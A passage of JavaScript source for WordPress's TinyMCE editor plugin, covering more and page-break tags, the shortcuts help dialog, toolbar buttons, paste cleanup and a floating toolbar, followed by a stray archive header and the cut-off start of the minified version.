						'class="wp-more-tag mce-wp-more" alt="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />';
				});
			}

			if ( event.content.indexOf( '<!--nextpage-->' ) !== -1 ) {
				title = __( 'Page break' );

				event.content = event.content.replace( /<!--nextpage-->/g,
					'<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" ' +
						'alt="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />' );
			}

			if ( event.load && event.format !== 'raw' ) {
				if ( hasWpautop ) {
					event.content = wp.editor.autop( event.content );
				} else {
					// Prevent creation of paragraphs out of multiple HTML comments.
					event.content = event.content.replace( /-->\s+<!--/g, '--><!--' );
				}
			}

			if ( event.content.indexOf( '<script' ) !== -1 || event.content.indexOf( '<style' ) !== -1 ) {
				event.content = event.content.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match, tag ) {
					return '<img ' +
						'src="' + tinymce.Env.transparentSrc + '" ' +
						'data-wp-preserve="' + encodeURIComponent( match ) + '" ' +
						'data-mce-resize="false" ' +
						'data-mce-placeholder="1" '+
						'class="mce-object mce-object-' + tag + '" ' +
						'width="20" height="20" '+
						'alt="&lt;' + tag + '&gt;" ' +
					'/>';
				} );
			}
		}
	});

	editor.on( 'setcontent', function() {
		// Remove spaces from empty paragraphs.
		editor.$( 'p' ).each( function( i, node ) {
			if ( node.innerHTML && node.innerHTML.length < 10 ) {
				var html = tinymce.trim( node.innerHTML );

				if ( ! html || html === '&nbsp;' ) {
					node.innerHTML = ( tinymce.Env.ie && tinymce.Env.ie < 11 ) ? '' : '<br data-mce-bogus="1">';
				}
			}
		} );
	});

	editor.on( 'PostProcess', function( event ) {
		if ( event.get ) {
			event.content = event.content.replace(/<img[^>]+>/g, function( image ) {
				var match,
					string,
					moretext = '';

				if ( image.indexOf( 'data-wp-more="more"' ) !== -1 ) {
					if ( match = image.match( /data-wp-more-text="([^"]+)"/ ) ) {
						moretext = match[1];
					}

					string = '<!--more' + moretext + '-->';
				} else if ( image.indexOf( 'data-wp-more="nextpage"' ) !== -1 ) {
					string = '<!--nextpage-->';
				} else if ( image.indexOf( 'data-wp-preserve' ) !== -1 ) {
					if ( match = image.match( / data-wp-preserve="([^"]+)"/ ) ) {
						string = decodeURIComponent( match[1] );
					}
				}

				return string || image;
			});
		}
	});

	// Display the tag name instead of img in element path.
	editor.on( 'ResolveName', function( event ) {
		var attr;

		if ( event.target.nodeName === 'IMG' && ( attr = editor.dom.getAttrib( event.target, 'data-wp-more' ) ) ) {
			event.name = attr;
		}
	});

	// Register commands.
	editor.addCommand( 'WP_More', function( tag ) {
		var parent, html, title,
			classname = 'wp-more-tag',
			dom = editor.dom,
			node = editor.selection.getNode(),
			rootNode = editor.getBody();

		tag = tag || 'more';
		classname += ' mce-wp-' + tag;
		title = tag === 'more' ? 'Read more...' : 'Next page';
		title = __( title );
		html = '<img src="' + tinymce.Env.transparentSrc + '" alt="' + title + '" class="' + classname + '" ' +
			'data-wp-more="' + tag + '" data-mce-resize="false" data-mce-placeholder="1" />';

		// Most common case.
		if ( node === rootNode || ( node.nodeName === 'P' && node.parentNode === rootNode ) ) {
			editor.insertContent( html );
			return;
		}

		// Get the top level parent node.
		parent = dom.getParent( node, function( found ) {
			if ( found.parentNode && found.parentNode === rootNode ) {
				return true;
			}

			return false;
		}, editor.getBody() );

		if ( parent ) {
			if ( parent.nodeName === 'P' ) {
				parent.appendChild( dom.create( 'p', null, html ).firstChild );
			} else {
				dom.insertAfter( dom.create( 'p', null, html ), parent );
			}

			editor.nodeChanged();
		}
	});

	editor.addCommand( 'WP_Code', function() {
		editor.formatter.toggle('code');
	});

	editor.addCommand( 'WP_Page', function() {
		editor.execCommand( 'WP_More', 'nextpage' );
	});

	editor.addCommand( 'WP_Help', function() {
		var access = tinymce.Env.mac ? __( 'Ctrl + Alt + letter:' ) : __( 'Shift + Alt + letter:' ),
			meta = tinymce.Env.mac ? __( '⌘ + letter:' ) : __( 'Ctrl + letter:' ),
			table1 = [],
			table2 = [],
			row1 = {},
			row2 = {},
			i1 = 0,
			i2 = 0,
			labels = editor.settings.wp_shortcut_labels,
			header, html, dialog, $wrap;

		if ( ! labels ) {
			return;
		}

		function tr( row, columns ) {
			var out = '<tr>';
			var i = 0;

			columns = columns || 1;

			each( row, function( text, key ) {
				out += '<td><kbd>' + key + '</kbd></td><td>' + __( text ) + '</td>';
				i++;
			});

			while ( i < columns ) {
				out += '<td></td><td></td>';
				i++;
			}

			return out + '</tr>';
		}

		each ( labels, function( label, name ) {
			var letter;

			if ( label.indexOf( 'meta' ) !== -1 ) {
				i1++;
				letter = label.replace( 'meta', '' ).toLowerCase();

				if ( letter ) {
					row1[ letter ] = name;

					if ( i1 % 2 === 0 ) {
						table1.push( tr( row1, 2 ) );
						row1 = {};
					}
				}
			} else if ( label.indexOf( 'access' ) !== -1 ) {
				i2++;
				letter = label.replace( 'access', '' ).toLowerCase();

				if ( letter ) {
					row2[ letter ] = name;

					if ( i2 % 2 === 0 ) {
						table2.push( tr( row2, 2 ) );
						row2 = {};
					}
				}
			}
		} );

		// Add remaining single entries.
		if ( i1 % 2 > 0 ) {
			table1.push( tr( row1, 2 ) );
		}

		if ( i2 % 2 > 0 ) {
			table2.push( tr( row2, 2 ) );
		}

		header = [ __( 'Letter' ), __( 'Action' ), __( 'Letter' ), __( 'Action' ) ];
		header = '<tr><th>' + header.join( '</th><th>' ) + '</th></tr>';

		html = '<div class="wp-editor-help">';

		// Main section, default and additional shortcuts.
		html = html +
			'<h2>' + __( 'Default shortcuts,' ) + ' ' + meta + '</h2>' +
			'<table class="wp-help-th-center fixed">' +
				header +
				table1.join('') +
			'</table>' +
			'<h2>' + __( 'Additional shortcuts,' ) + ' ' + access + '</h2>' +
			'<table class="wp-help-th-center fixed">' +
				header +
				table2.join('') +
			'</table>';

		if ( editor.plugins.wptextpattern && ( ! tinymce.Env.ie || tinymce.Env.ie > 8 ) ) {
			// Text pattern section.
			html = html +
				'<h2>' + __( 'When starting a new paragraph with one of these formatting shortcuts followed by a space, the formatting will be applied automatically. Press Backspace or Escape to undo.' ) + '</h2>' +
				'<table class="wp-help-th-center fixed">' +
					tr({ '*':  'Bullet list', '1.':  'Numbered list' }) +
					tr({ '-':  'Bullet list', '1)':  'Numbered list' }) +
				'</table>';

			html = html +
				'<h2>' + __( 'The following formatting shortcuts are replaced when pressing Enter. Press Escape or the Undo button to undo.' ) + '</h2>' +
				'<table class="wp-help-single">' +
					tr({ '>': 'Blockquote' }) +
					tr({ '##': 'Heading 2' }) +
					tr({ '###': 'Heading 3' }) +
					tr({ '####': 'Heading 4' }) +
					tr({ '#####': 'Heading 5' }) +
					tr({ '######': 'Heading 6' }) +
					tr({ '---': 'Horizontal line' }) +
				'</table>';
		}

		// Focus management section.
		html = html +
			'<h2>' + __( 'Focus shortcuts:' ) + '</h2>' +
			'<table class="wp-help-single">' +
				tr({ 'Alt + F8':  'Inline toolbar (when an image, link or preview is selected)' }) +
				tr({ 'Alt + F9':  'Editor menu (when enabled)' }) +
				tr({ 'Alt + F10': 'Editor toolbar' }) +
				tr({ 'Alt + F11': 'Elements path' }) +
			'</table>' +
			'<p>' + __( 'To move focus to other buttons use Tab or the arrow keys. To return focus to the editor press Escape or use one of the buttons.' ) + '</p>';

		html += '</div>';

		dialog = editor.windowManager.open( {
			title: editor.settings.classic_block_editor ? 'Classic Block Keyboard Shortcuts' : 'Keyboard Shortcuts',
			items: {
				type: 'container',
				classes: 'wp-help',
				html: html
			},
			buttons: {
				text: 'Close',
				onclick: 'close'
			}
		} );

		if ( dialog.$el ) {
			dialog.$el.find( 'div[role="application"]' ).attr( 'role', 'document' );
			$wrap = dialog.$el.find( '.mce-wp-help' );

			if ( $wrap[0] ) {
				$wrap.attr( 'tabindex', '0' );
				$wrap[0].focus();
				$wrap.on( 'keydown', function( event ) {
					// Prevent use of: page up, page down, end, home, left arrow, up arrow, right arrow, down arrow
					// in the dialog keydown handler.
					if ( event.keyCode >= 33 && event.keyCode <= 40 ) {
						event.stopPropagation();
					}
				});
			}
		}
	} );

	editor.addCommand( 'WP_Medialib', function() {
		if ( wp && wp.media && wp.media.editor ) {
			wp.media.editor.open( editor.id );
		}
	});

	// Register buttons.
	editor.addButton( 'wp_more', {
		tooltip: 'Insert Read More tag',
		onclick: function() {
			editor.execCommand( 'WP_More', 'more' );
		}
	});

	editor.addButton( 'wp_page', {
		tooltip: 'Page break',
		onclick: function() {
			editor.execCommand( 'WP_More', 'nextpage' );
		}
	});

	editor.addButton( 'wp_help', {
		tooltip: 'Keyboard Shortcuts',
		cmd: 'WP_Help'
	});

	editor.addButton( 'wp_code', {
		tooltip: 'Code',
		cmd: 'WP_Code',
		stateSelector: 'code'
	});

	// Insert->Add Media.
	if ( wp && wp.media && wp.media.editor ) {
		editor.addButton( 'wp_add_media', {
			tooltip: 'Add Media',
			icon: 'dashicon dashicons-admin-media',
			cmd: 'WP_Medialib'
		} );

		editor.addMenuItem( 'add_media', {
			text: 'Add Media',
			icon: 'wp-media-library',
			context: 'insert',
			cmd: 'WP_Medialib'
		});
	}

	// Insert "Read More...".
	editor.addMenuItem( 'wp_more', {
		text: 'Insert Read More tag',
		icon: 'wp_more',
		context: 'insert',
		onclick: function() {
			editor.execCommand( 'WP_More', 'more' );
		}
	});

	// Insert "Next Page".
	editor.addMenuItem( 'wp_page', {
		text: 'Page break',
		icon: 'wp_page',
		context: 'insert',
		onclick: function() {
			editor.execCommand( 'WP_More', 'nextpage' );
		}
	});

	editor.on( 'BeforeExecCommand', function(e) {
		if ( tinymce.Env.webkit && ( e.command === 'InsertUnorderedList' || e.command === 'InsertOrderedList' ) ) {
			if ( ! style ) {
				style = editor.dom.create( 'style', {'type': 'text/css'},
					'#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}');
			}

			editor.getDoc().head.appendChild( style );
		}
	});

	editor.on( 'ExecCommand', function( e ) {
		if ( tinymce.Env.webkit && style &&
			( 'InsertUnorderedList' === e.command || 'InsertOrderedList' === e.command ) ) {

			editor.dom.remove( style );
		}
	});

	editor.on( 'init', function() {
		var env = tinymce.Env,
			bodyClass = ['mceContentBody'], // Back-compat for themes that use this in editor-style.css...
			doc = editor.getDoc(),
			dom = editor.dom;

		if ( env.iOS ) {
			dom.addClass( doc.documentElement, 'ios' );
		}

		if ( editor.getParam( 'directionality' ) === 'rtl' ) {
			bodyClass.push('rtl');
			dom.setAttrib( doc.documentElement, 'dir', 'rtl' );
		}

		dom.setAttrib( doc.documentElement, 'lang', editor.getParam( 'wp_lang_attr' ) );

		if ( env.ie ) {
			if ( parseInt( env.ie, 10 ) === 9 ) {
				bodyClass.push('ie9');
			} else if ( parseInt( env.ie, 10 ) === 8 ) {
				bodyClass.push('ie8');
			} else if ( env.ie < 8 ) {
				bodyClass.push('ie7');
			}
		} else if ( env.webkit ) {
			bodyClass.push('webkit');
		}

		bodyClass.push('wp-editor');

		each( bodyClass, function( cls ) {
			if ( cls ) {
				dom.addClass( doc.body, cls );
			}
		});

		// Remove invalid parent paragraphs when inserting HTML.
		editor.on( 'BeforeSetContent', function( event ) {
			if ( event.content ) {
				event.content = event.content.replace( /<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)( [^>]*)?>/gi, '<$1$2>' )
					.replace( /<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre)>\s*<\/p>/gi, '</$1>' );
			}
		});

		if ( $ ) {
			// Run on DOM ready. Otherwise TinyMCE may initialize earlier and handlers attached
			// on DOM ready of after the `tinymce.init()` call may not get triggered.
			$( function() {
				$( document ).triggerHandler( 'tinymce-editor-init', [editor] );
			});
		}

		if ( window.tinyMCEPreInit && window.tinyMCEPreInit.dragDropUpload ) {
			dom.bind( doc, 'dragstart dragend dragover drop', function( event ) {
				if ( $ ) {
					// Trigger the jQuery handlers.
					$( document ).trigger( new $.Event( event ) );
				}
			});
		}

		if ( editor.getParam( 'wp_paste_filters', true ) ) {
			editor.on( 'PastePreProcess', function( event ) {
				// Remove trailing <br> added by WebKit browsers to the clipboard.
				event.content = event.content.replace( /<br class="?Apple-interchange-newline"?>/gi, '' );

				// In WebKit this is handled by removeWebKitStyles().
				if ( ! tinymce.Env.webkit ) {
					// Remove all inline styles.
					event.content = event.content.replace( /(<[^>]+) style="[^"]*"([^>]*>)/gi, '$1$2' );

					// Put back the internal styles.
					event.content = event.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi, '$1 style=$2' );
				}
			});

			editor.on( 'PastePostProcess', function( event ) {
				// Remove empty paragraphs.
				editor.$( 'p', event.node ).each( function( i, node ) {
					if ( dom.isEmpty( node ) ) {
						dom.remove( node );
					}
				});

				if ( tinymce.isIE ) {
					editor.$( 'a', event.node ).find( 'font, u' ).each( function( i, node ) {
						dom.remove( node, true );
					});
				}
			});
		}
	});

	editor.on( 'SaveContent', function( event ) {
		// If editor is hidden, we just want the textarea's value to be saved.
		if ( ! editor.inline && editor.isHidden() ) {
			event.content = event.element.value;
			return;
		}

		// Keep empty paragraphs :(
		event.content = event.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );

		if ( hasWpautop ) {
			event.content = wp.editor.removep( event.content );
		} else {
			// Restore formatting of block boundaries.
			event.content = event.content.replace( /-->\s*<!-- wp:/g, '-->\n\n<!-- wp:' );
		}
	});

	editor.on( 'preInit', function() {
		var validElementsSetting = '@[id|accesskey|class|dir|lang|style|tabindex|' +
			'title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],' + // Global attributes.
			'i,' + // Don't replace <i> with <em> and <b> with <strong> and don't remove them when empty.
			'b,' +
			'script[src|async|defer|type|charset|crossorigin|integrity]'; // Add support for <script>.

		editor.schema.addValidElements( validElementsSetting );

		if ( tinymce.Env.iOS ) {
			editor.settings.height = 300;
		}

		each( {
			c: 'JustifyCenter',
			r: 'JustifyRight',
			l: 'JustifyLeft',
			j: 'JustifyFull',
			q: 'mceBlockQuote',
			u: 'InsertUnorderedList',
			o: 'InsertOrderedList',
			m: 'WP_Medialib',
			t: 'WP_More',
			d: 'Strikethrough',
			p: 'WP_Page',
			x: 'WP_Code'
		}, function( command, key ) {
			editor.shortcuts.add( 'access+' + key, '', command );
		} );

		editor.addShortcut( 'meta+s', '', function() {
			if ( wp && wp.autosave ) {
				wp.autosave.server.triggerSave();
			}
		} );

		// Alt+Shift+Z removes a block in the block editor, don't add it to the Classic block.
		if ( ! editor.settings.classic_block_editor ) {
			editor.addShortcut( 'access+z', '', 'WP_Adv' );
		}

		// Workaround for not triggering the global help modal in the block editor by the Classic block shortcut.
		editor.on( 'keydown', function( event ) {
			var match;

			if ( tinymce.Env.mac ) {
				match = event.ctrlKey && event.altKey && event.code === 'KeyH';
			} else {
				match = event.shiftKey && event.altKey && event.code === 'KeyH';
			}

			if ( match ) {
				editor.execCommand( 'WP_Help' );
				event.stopPropagation();
				event.stopImmediatePropagation();
				return false;
			}

			return true;
		});

		if ( window.getUserSetting( 'editor_plain_text_paste_warning' ) > 1 ) {
			editor.settings.paste_plaintext_inform = false;
		}

		// Change the editor iframe title on MacOS, add the correct help shortcut.
		if ( tinymce.Env.mac ) {
			tinymce.$( editor.iframeElement ).attr( 'title', __( 'Rich Text Area. Press Control-Option-H for help.' ) );
		}
	} );

	editor.on( 'PastePlainTextToggle', function( event ) {
		// Warn twice, then stop.
		if ( event.state === true ) {
			var times = parseInt( window.getUserSetting( 'editor_plain_text_paste_warning' ), 10 ) || 0;

			if ( times < 2 ) {
				window.setUserSetting( 'editor_plain_text_paste_warning', ++times );
			}
		}
	});

	editor.on( 'beforerenderui', function() {
		if ( editor.theme.panel ) {
			each( [ 'button', 'colorbutton', 'splitbutton' ], function( buttonType ) {
				replaceButtonsTooltips( editor.theme.panel.find( buttonType ) );
			} );

			addShortcutsToListbox();
		}
	} );

	function prepareTooltips() {
		var access = 'Shift+Alt+';
		var meta = 'Ctrl+';

		wpTooltips = {};

		// For MacOS: ctrl = \u2303, cmd = \u2318, alt = \u2325.
		if ( tinymce.Env.mac ) {
			access = '\u2303\u2325';
			meta = '\u2318';
		}

		// Some tooltips are translated, others are not...
		if ( editor.settings.wp_shortcut_labels ) {
			each( editor.settings.wp_shortcut_labels, function( value, tooltip ) {
				var translated = editor.translate( tooltip );

				value = value.replace( 'access', access ).replace( 'meta', meta );
				wpTooltips[ tooltip ] = value;

				// Add the translated so we can match all of them.
				if ( tooltip !== translated ) {
					wpTooltips[ translated ] = value;
				}
			} );
		}
	}

	function getTooltip( tooltip ) {
		var translated = editor.translate( tooltip );
		var label;

		if ( ! wpTooltips ) {
			prepareTooltips();
		}

		if ( wpTooltips.hasOwnProperty( translated ) ) {
			label = wpTooltips[ translated ];
		} else if ( wpTooltips.hasOwnProperty( tooltip ) ) {
			label = wpTooltips[ tooltip ];
		}

		return label ? translated + ' (' + label + ')' : translated;
	}

	function replaceButtonsTooltips( buttons ) {

		if ( ! buttons ) {
			return;
		}

		each( buttons, function( button ) {
			var tooltip;

			if ( button && button.settings.tooltip ) {
				tooltip = getTooltip( button.settings.tooltip );
				button.settings.tooltip = tooltip;

				// Override the aria label with the translated tooltip + shortcut.
				if ( button._aria && button._aria.label ) {
					button._aria.label = tooltip;
				}
			}
		} );
	}

	function addShortcutsToListbox() {
		// listbox for the "blocks" drop-down.
		each( editor.theme.panel.find( 'listbox' ), function( listbox ) {
			if ( listbox && listbox.settings.text === 'Paragraph' ) {
				each( listbox.settings.values, function( item ) {
					if ( item.text && wpTooltips.hasOwnProperty( item.text ) ) {
						item.shortcut = '(' + wpTooltips[ item.text ] + ')';
					}
				} );
			}
		} );
	}

	/**
	 * Experimental: create a floating toolbar.
	 * This functionality will change in the next releases. Not recommended for use by plugins.
	 */
	editor.on( 'preinit', function() {
		var Factory = tinymce.ui.Factory,
			settings = editor.settings,
			activeToolbar,
			currentSelection,
			timeout,
			container = editor.getContainer(),
			wpAdminbar = document.getElementById( 'wpadminbar' ),
			mceIframe = document.getElementById( editor.id + '_ifr' ),
			mceToolbar,
			mceStatusbar,
			wpStatusbar,
			cachedWinSize;

			if ( container ) {
				mceToolbar = tinymce.$( '.mce-toolbar-grp', container )[0];
				mceStatusbar = tinymce.$( '.mce-statusbar', container )[0];
			}

			if ( editor.id === 'content' ) {
				wpStatusbar = document.getElementById( 'post-status-info' );
			}

		function create( buttons, bottom ) {
			var toolbar,
				toolbarItems = [],
				buttonGroup;

			each( buttons, function( item ) {
				var itemName;
				var tooltip;

				function bindSelectorChanged() {
					var selection = editor.selection;

					if ( itemName === 'bullist' ) {
						selection.selectorChanged( 'ul > li', function( state, args ) {
							var i = args.parents.length,
								nodeName;

							while ( i-- ) {
								nodeName = args.parents[ i ].nodeName;

								if ( nodeName === 'OL' || nodeName == 'UL' ) {
									break;
								}
							}

							item.active( state && nodeName === 'UL' );
						} );
					}

					if ( itemName === 'numlist' ) {
						selection.selectorChanged( 'ol > li', function( state, args ) {
							var i = args.parents.length,
								nodeName;

							while ( i-- ) {
								nodeName = args.parents[ i ].nodeName;

								if ( nodeName === 'OL' || nodeName === 'UL' ) {
									break;
								}
							}

							item.active( state && nodeName === 'OL' );
						} );
					}

					if ( item.settings.stateSelector ) {
						selection.selectorChanged( item.settings.stateSelector, function( state ) {
							item.active( state );
						}, true );
					}

					if ( item.settings.disabledStateSelector ) {
						selection.selectorChanged( item.settings.disabledStateSelector, function( state ) {
							item.disabled( state );
						} );
					}
				}

				if ( item === '|' ) {
					buttonGroup = null;
				} else {
					if ( Factory.has( item ) ) {
						item = {
							type: item
						};

						if ( settings.toolbar_items_size ) {
							item.size = settings.toolbar_items_size;
						}

						toolbarItems.push( item );

						buttonGroup = null;
					} else {
						if ( ! buttonGroup ) {
							buttonGroup = {
								type: 'buttongroup',
								items: []
							};

							toolbarItems.push( buttonGroup );
						}

						if ( editor.buttons[ item ] ) {
							itemName = item;
							item = editor.buttons[ itemName ];

							if ( typeof item === 'function' ) {
								item = item();
							}

							item.type = item.type || 'button';

							if ( settings.toolbar_items_size ) {
								item.size = settings.toolbar_items_size;
							}

							tooltip = item.tooltip || item.title;

							if ( tooltip ) {
								item.tooltip = getTooltip( tooltip );
							}

							item = Factory.create( item );

							buttonGroup.items.push( item );

							if ( editor.initialized ) {
								bindSelectorChanged();
							} else {
								editor.on( 'init', bindSelectorChanged );
							}
						}
					}
				}
			} );

			toolbar = Factory.create( {
				type: 'panel',
				layout: 'stack',
				classes: 'toolbar-grp inline-toolbar-grp',
				ariaRoot: true,
				ariaRemember: true,
				items: [ {
					type: 'toolbar',
					layout: 'flow',
					items: toolbarItems
				} ]
			} );

			toolbar.bottom = bottom;

			function reposition() {
				if ( ! currentSelection ) {
					return this;
				}

				var scrollX = window.pageXOffset || document.documentElement.scrollLeft,
					scrollY = window.pageYOffset || document.documentElement.scrollTop,
					windowWidth = window.innerWidth,
					windowHeight = window.innerHeight,
					iframeRect = mceIframe ? mceIframe.getBoundingClientRect() : {
						top: 0,
						right: windowWidth,
						bottom: windowHeight,
						left: 0,
						width: windowWidth,
						height: windowHeight
					},
					toolbar = this.getEl(),
					toolbarWidth = toolbar.offsetWidth,
					toolbarHeight = toolbar.clientHeight,
					selection = currentSelection.getBoundingClientRect(),
					selectionMiddle = ( selection.left + selection.right ) / 2,
					buffer = 5,
					spaceNeeded = toolbarHeight + buffer,
					wpAdminbarBottom = wpAdminbar ? wpAdminbar.getBoundingClientRect().bottom : 0,
					mceToolbarBottom = mceToolbar ? mceToolbar.getBoundingClientRect().bottom : 0,
					mceStatusbarTop = mceStatusbar ? windowHeight - mceStatusbar.getBoundingClientRect().top : 0,
					wpStatusbarTop = wpStatusbar ? windowHeight - wpStatusbar.getBoundingClientRect().top : 0,
					blockedTop = Math.max( 0, wpAdminbarBottom, mceToolbarBottom, iframeRect.top ),
					blockedBottom = Math.max( 0, mceStatusbarTop, wpStatusbarTop, windowHeight - iframeRect.bottom ),
					spaceTop = selection.top + iframeRect.top - blockedTop,
					spaceBottom = windowHeight - iframeRect.top - selection.bottom - blockedBottom,
					editorHeight = windowHeight - blockedTop - blockedBottom,
					className = '',
					iosOffsetTop = 0,
					iosOffsetBottom = 0,
					top, left;

				if ( spaceTop >= editorHeight || spaceBottom >= editorHeight ) {
					this.scrolling = true;
					this.hide();
					this.scrolling = false;
					return this;
				}

				// Add offset in iOS to move the menu over the image, out of the way of the default iOS menu.
				if ( tinymce.Env.iOS && currentSelection.nodeName === 'IMG' ) {
					iosOffsetTop = 54;
					iosOffsetBottom = 46;
				}

				if ( this.bottom ) {
					if ( spaceBottom >= spaceNeeded ) {
						className = ' mce-arrow-up';
						top = selection.bottom + iframeRect.top + scrollY - iosOffsetBottom;
					} else if ( spaceTop >= spaceNeeded ) {
						className = ' mce-arrow-down';
						top = selection.top + iframeRect.top + scrollY - toolbarHeight + iosOffsetTop;
					}
				} else {
					if ( spaceTop >= spaceNeeded ) {
						className = ' mce-arrow-down';
						top = selection.top + iframeRect.top + scrollY - toolbarHeight + iosOffsetTop;
					} else if ( spaceBottom >= spaceNeeded && editorHeight / 2 > selection.bottom + iframeRect.top - blockedTop ) {
						className = ' mce-arrow-up';
						top = selection.bottom + iframeRect.top + scrollY - iosOffsetBottom;
					}
				}

				if ( typeof top === 'undefined' ) {
					top = scrollY + blockedTop + buffer + iosOffsetBottom;
				}

				left = selectionMiddle - toolbarWidth / 2 + iframeRect.left + scrollX;

				if ( selection.left < 0 || selection.right > iframeRect.width ) {
					left = iframeRect.left + scrollX + ( iframeRect.width - toolbarWidth ) / 2;
				} else if ( toolbarWidth >= windowWidth ) {
					className += ' mce-arrow-full';
					left = 0;
				} else if ( ( left < 0 && selection.left + toolbarWidth > windowWidth ) || ( left + toolbarWidth > windowWidth && selection.right - toolbarWidth < 0 ) ) {
					left = ( windowWidth - toolbarWidth ) / 2;
				} else if ( left < iframeRect.left + scrollX ) {
					className += ' mce-arrow-left';
					left = selection.left + iframeRect.left + scrollX;
				} else if ( left + toolbarWidth > iframeRect.width + iframeRect.left + scrollX ) {
					className += ' mce-arrow-right';
					left = selection.right - toolbarWidth + iframeRect.left + scrollX;
				}

				// No up/down arrows on the menu over images in iOS.
				if ( tinymce.Env.iOS && currentSelection.nodeName === 'IMG' ) {
					className = className.replace( / ?mce-arrow-(up|down)/g, '' );
				}

				toolbar.className = toolbar.className.replace( / ?mce-arrow-[\w]+/g, '' ) + className;

				DOM.setStyles( toolbar, {
					'left': left,
					'top': top
				} );

				return this;
			}

			toolbar.on( 'show', function() {
				this.reposition();
			} );

			toolbar.on( 'keydown', function( event ) {
				if ( event.keyCode === 27 ) {
					this.hide();
					editor.focus();
				}
			} );

			editor.on( 'remove', function() {
				toolbar.remove();
			} );

			toolbar.reposition = reposition;
			toolbar.hide().renderTo( document.body );

			return toolbar;
		}

		editor.shortcuts.add( 'alt+119', '', function() {
			var node;

			if ( activeToolbar ) {
				node = activeToolbar.find( 'toolbar' )[0];
				node && node.focus( true );
			}
		} );

		editor.on( 'nodechange', function( event ) {
			var collapsed = editor.selection.isCollapsed();

			var args = {
				element: event.element,
				parents: event.parents,
				collapsed: collapsed
			};

			editor.fire( 'wptoolbar', args );

			currentSelection = args.selection || args.element;

			if ( activeToolbar && activeToolbar !== args.toolbar ) {
				activeToolbar.hide();
			}

			if ( args.toolbar ) {
				activeToolbar = args.toolbar;

				if ( activeToolbar.visible() ) {
					activeToolbar.reposition();
				} else {
					activeToolbar.show();
				}
			} else {
				activeToolbar = false;
			}
		} );

		editor.on( 'focus', function() {
			if ( activeToolbar ) {
				activeToolbar.show();
			}
		} );

		function hide( event ) {
			var win;
			var size;

			if ( activeToolbar ) {
				if ( activeToolbar.tempHide || event.type === 'hide' || event.type === 'blur' ) {
					activeToolbar.hide();
					activeToolbar = false;
				} else if ( (
					event.type === 'resizewindow' ||
					event.type === 'scrollwindow' ||
					event.type === 'resize' ||
					event.type === 'scroll'
				) && ! activeToolbar.blockHide ) {
					/*
					 * Showing a tooltip may trigger a `resize` event in Chromium browsers.
					 * That results in a flicketing inline menu; tooltips are shown on hovering over a button,
					 * which then hides the toolbar on `resize`, then it repeats as soon as the toolbar is shown again.
					 */
					if ( event.type === 'resize' || event.type === 'resizewindow' ) {
						win = editor.getWin();
						size = win.innerHeight + win.innerWidth;

						// Reset old cached size.
						if ( cachedWinSize && ( new Date() ).getTime() - cachedWinSize.timestamp > 2000 ) {
							cachedWinSize = null;
						}

						if ( cachedWinSize ) {
							if ( size && Math.abs( size - cachedWinSize.size ) < 2 ) {
								// `resize` fired but the window hasn't been resized. Bail.
								return;
							}
						} else {
							// First of a new series of `resize` events. Store the cached size and bail.
							cachedWinSize = {
								timestamp: ( new Date() ).getTime(),
								size: size,
							};

							return;
						}
					}

					clearTimeout( timeout );

					timeout = setTimeout( function() {
						if ( activeToolbar && typeof activeToolbar.show === 'function' ) {
							activeToolbar.scrolling = false;
							activeToolbar.show();
						}
					}, 250 );

					activeToolbar.scrolling = true;
					activeToolbar.hide();
				}
			}
		}

		if ( editor.inline ) {
			editor.on( 'resizewindow', hide );

			// Enable `capture` for the event.
			// This will hide/reposition the toolbar on any scrolling in the document.
			document.addEventListener( 'scroll', hide, true );
		} else {
			// Bind to the editor iframe and to the parent window.
			editor.dom.bind( editor.getWin(), 'resize scroll', hide );
			editor.on( 'resizewindow scrollwindow', hide );
		}

		editor.on( 'remove', function() {
			document.removeEventListener( 'scroll', hide, true );
			editor.off( 'resizewindow scrollwindow', hide );
			editor.dom.unbind( editor.getWin(), 'resize scroll', hide );
		} );

		editor.on( 'blur hide', hide );

		editor.wp = editor.wp || {};
		editor.wp._createToolbar = create;
	}, true );

	function noop() {}

	// Expose some functions (back-compat).
	return {
		_showButtons: noop,
		_hideButtons: noop,
		_setEmbed: noop,
		_getEmbed: noop
	};
});

}( window.tinymce ));
PK�\d[߼�@@wordpress/plugin.min.jsnu�[���!function(k){(!k.ui.FloatPanel.zIndex||k.ui.FloatPanel.zIndex<100100)&&(k.ui.FloatPanel.zIndex=100100),k.PluginManager.add("wordpress",function(p){var a,t,E=k.DOM,m=k.each,u=p.editorManager.i18n.translate,i=window.jQuery,o=window.wp,r=o&&o.editor&&o.editor.autop&&p.getParam("wpautop",!0),s=!1;function e(n){var e,t,o=0,i=k.$(".block-library-classic__toolbar");"hide"===n?e=!0:i.length&&!i.hasClass("has-advanced-toolbar")&&(i.addClass("has-advanced-toolbar"),n="show"),(t=p.theme.panel?p.theme.panel.find(".toolbar:not(.menubar)"):t)&&1<t.length&&(!n&&t[1].visible()&&(n="hide"),m(t,function(e,t){0<t&&("hide"===n?(e.hide(),o+=34):(e.show(),o-=34))})),o&&!k.Env.iOS&&p.iframeElement&&p.iframeElement.clientHeight&&50<(i=p.iframeElement.clientHeight+o)&&E.setStyle(p.iframeElement,"height",i),e||("hide"===n?(setUserSetting("hidetb","0"),a&&a.active(!1)):(setUserSetting("hidetb","1"),a&&a.active(!0))),p.fire("wp-toolbar-toggle")}function d(e){var t,o,i,n=p.translate(e);return s||(o="Shift+Alt+",i="Ctrl+",s={},k.Env.mac&&(o="\u2303\u2325",i="\u2318"),p.settings.wp_shortcut_labels&&m(p.settings.wp_shortcut_labels,function(e,t){var n=p.translate(t);e=e.replace("access",o).replace("meta",i),s[t]=e,t!==n&&(s[n]=e)})),s.hasOwnProperty(n)?t=s[n]:s.hasOwnProperty(e)&&(t=s[e]),t?n+" ("+t+")":n}function n(){}return 